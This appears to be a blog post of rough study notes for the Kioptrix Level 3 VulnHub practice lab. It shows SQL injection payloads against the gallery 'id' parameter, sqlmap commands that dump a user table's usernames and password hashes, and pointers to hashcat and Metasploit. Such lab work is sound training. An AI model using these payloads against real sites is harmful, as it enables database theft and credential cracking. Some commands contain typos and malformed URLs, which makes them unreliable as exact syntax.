2. https://blog.g0tmi1k.com/2011/08/kioptrix-level-3 …shows commands and videos but doesn’t
explain what those select statements do unlike above site. Those select
statement can be bypassed if Sqlmap is used instead to get hash
- https://www.abatchy.com/2016/12/kioptrix-3-walkthrough-vulnhub
- https://digital-cowboy.github.io/2017/kioptrix-level-3-walkthrough/
- Ssh and http
- Apache 2.2.8 php 5.2.4 ubuntu 5.6
- http://kioptrix3.com/gallery/gallery.php?id=1'
The
thing that really caught our eye here was the “id” parameter in the URL. So we
attempted to inject a single quote ( ‘ ) to try and see if the application was
vulnerable to SQL Injection. And YES! Its vulnerable to SQL Injection because
it throws the error –
Our
links should look like that:
http://kioptrix3.com/gallery/gallery.php?id=1
order by 1– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 2– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 3– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 4– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 5– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 6– (No Error)
http://kioptrix3.com/gallery/gallery.php?id=1
order by 7– (Error – Unknown Column)
We
will do this until it shows up in the unknown columns. If it shows the unknown
column error on N, that means it has the total number of Columns N-1 because it
shows the content in order by N-1 so in this case, the number of columns are 6.
- LFI using. Didn’t word w/o html
- Look at the source of all the pages and found Gallarific module which was commented out and susceptible SQL injection attack
- /pentest/exploits/exploitdb or /usr/share/exploitdb > grep -I gallarific files.csv
- At the login page shows it is LotusCMS application . One could use Metasploit to exploit the vulnerabiliy
- Pyhon sqlmap.py -u "http:kioptrix3.com/gallery/gallery/php?id=1" --dbs will show database names (but SQLMAP is not allowed in the exam)
- Python sqlmap.py -u “http://www.example.com/news.php?id=11” -D db363851433 –tables
Where
db363851433 is the name of database
- Python sqlmap.py" -u “http://www.example.com/news.php?id=11” -D gallery -T dev_accounts -C id,password,username --dump…. Will show the table with username and hash which can be unhash within Kali or online [https://www.yeahhub.com/live-sql-injection-exploitation-sqlmap-detailed-guide/]
- You can also use “hash-identifier” tool to verify the hash type whether its MD5, SHA1 or any other
- "To Crack the hash, you can also use hashcat tool which is pre-installed in Kali Linux machine
Comments
Post a Comment